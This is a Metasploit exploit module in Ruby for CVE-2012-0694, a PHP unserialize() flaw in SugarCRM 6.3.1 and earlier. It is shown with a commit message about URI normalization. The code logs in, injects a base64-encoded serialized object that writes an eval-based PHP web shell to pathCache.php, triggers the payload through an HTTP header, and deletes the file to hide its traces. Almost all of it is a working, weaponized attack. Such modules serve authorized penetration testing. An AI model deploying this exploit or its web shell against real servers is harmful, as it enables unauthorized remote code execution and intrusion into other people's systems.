c174e6a208
normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.
156 lines
4.4 KiB
Ruby
156 lines
4.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
|
|
which could be abused to allow authenticated SugarCRM users to execute arbitrary
|
|
code with the permissions of the webserver.
|
|
|
|
The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
|
|
script, which is called with user controlled data from the 'current_query_by_page'
|
|
parameter. The exploit abuses the __destruct() method from the SugarTheme class
|
|
to write arbitrary PHP code to a 'pathCache.php' on the web root.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'EgiX', # Vulnerability discovery and PoC
|
|
'juan vazquez', # Metasploit module
|
|
'sinn3r' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-0694' ],
|
|
[ 'EDB', '19381' ],
|
|
[ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
},
|
|
'Targets' => [ ['Automatic', { }], ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jun 23 2012'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]),
|
|
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
|
|
OptString.new('PASSWORD', [true, "The password to authenticate with" ])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def on_new_session(client)
|
|
if client.type == "meterpreter"
|
|
f = "pathCache.php"
|
|
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
|
begin
|
|
print_warning("#{@peer} - Deleting #{f}")
|
|
client.fs.file.rm(f)
|
|
print_good("#{@peer} - #{f} removed to stay ninja")
|
|
rescue
|
|
print_error("#{@peer} - Unable to remove #{f}")
|
|
end
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
base = normalize_uri(target_uri.path)
|
|
|
|
@peer = "#{rhost}:#{rport}"
|
|
username = datastore['USERNAME']
|
|
password = datastore['PASSWORD']
|
|
|
|
# Can't use vars_post because it'll escape "_"
|
|
data = "module=Users&"
|
|
data << "action=Authenticate&"
|
|
data << "user_name=#{username}&"
|
|
data << "user_password=#{password}"
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(base, "index.php") ,
|
|
'method' => "POST",
|
|
'headers' =>
|
|
{
|
|
'Cookie' => "PHPSESSID=1",
|
|
},
|
|
'data' => data
|
|
})
|
|
|
|
if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie']
|
|
print_error("#{@peer} - Login failed with \"#{username}:#{password}\"")
|
|
return
|
|
end
|
|
|
|
if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/
|
|
session_id = $1
|
|
else
|
|
print_error("#{@peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
|
|
return
|
|
end
|
|
|
|
print_status("#{@peer} - Login successful with #{username}:#{password}")
|
|
|
|
data = "module=Contacts&"
|
|
data << "Contacts2_CONTACT_offset=1&"
|
|
data << "current_query_by_page="
|
|
#O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";}
|
|
data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30="
|
|
|
|
print_status("#{@peer} - Exploiting the unserialize()")
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => "#{base}index.php",
|
|
'method' => 'POST',
|
|
'headers' =>
|
|
{
|
|
'Cookie' => "PHPSESSID=#{session_id};",
|
|
},
|
|
'data' => data
|
|
})
|
|
|
|
if not res or res.code != 200
|
|
print_error("#{@peer} - Exploit failed: #{res.code}")
|
|
return
|
|
end
|
|
|
|
print_status("#{@peer} - Executing the payload")
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => "#{base}pathCache.php",
|
|
'headers' => {
|
|
'Cmd' => Rex::Text.encode_base64(payload.encoded)
|
|
}
|
|
})
|
|
|
|
if res
|
|
print_error("#{@peer} - Payload execution failed: #{res.code}")
|
|
return
|
|
end
|
|
|
|
end
|
|
end
|